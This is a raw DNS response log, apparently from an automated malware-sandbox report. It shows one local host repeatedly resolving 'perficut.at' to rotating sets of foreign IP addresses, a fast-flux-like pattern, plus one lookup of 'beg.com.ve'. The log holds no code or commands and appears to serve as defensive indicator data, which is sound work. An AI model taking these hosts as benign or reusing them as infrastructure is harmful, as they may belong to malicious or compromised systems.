Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.615175962 CET	8.8.8.8	192.168.2.4	0x661	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.886213064 CET	8.8.8.8	192.168.2.4	0x7e5e	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:39.882405996 CET	8.8.8.8	192.168.2.4	0x2cc3	No error (0)	beg.com.ve		190.114.9.88	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.823708057 CET	8.8.8.8	192.168.2.4	0x9b17	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.782329082 CET	8.8.8.8	192.168.2.4	0x1d06	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:45.245112896 CET	8.8.8.8	192.168.2.4	0x7ccc	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.157108068 CET	8.8.8.8	192.168.2.4	0x24f1	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.514844894 CET	8.8.8.8	192.168.2.4	0xe8c1	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.621810913 CET	8.8.8.8	192.168.2.4	0xe767	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.152090073 CET	8.8.8.8	192.168.2.4	0x5b00	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.809781075 CET	8.8.8.8	192.168.2.4	0x4aa5	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.330352068 CET	8.8.8.8	192.168.2.4	0xdb59	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.692218065 CET	8.8.8.8	192.168.2.4	0x4fc5	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.416384935 CET	8.8.8.8	192.168.2.4	0x347e	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.387893915 CET	8.8.8.8	192.168.2.4	0x9f2a	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.802736998 CET	8.8.8.8	192.168.2.4	0x9461	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.469985008 CET	8.8.8.8	192.168.2.4	0xc9ea	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.922305107 CET	8.8.8.8	192.168.2.4	0x18cb	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
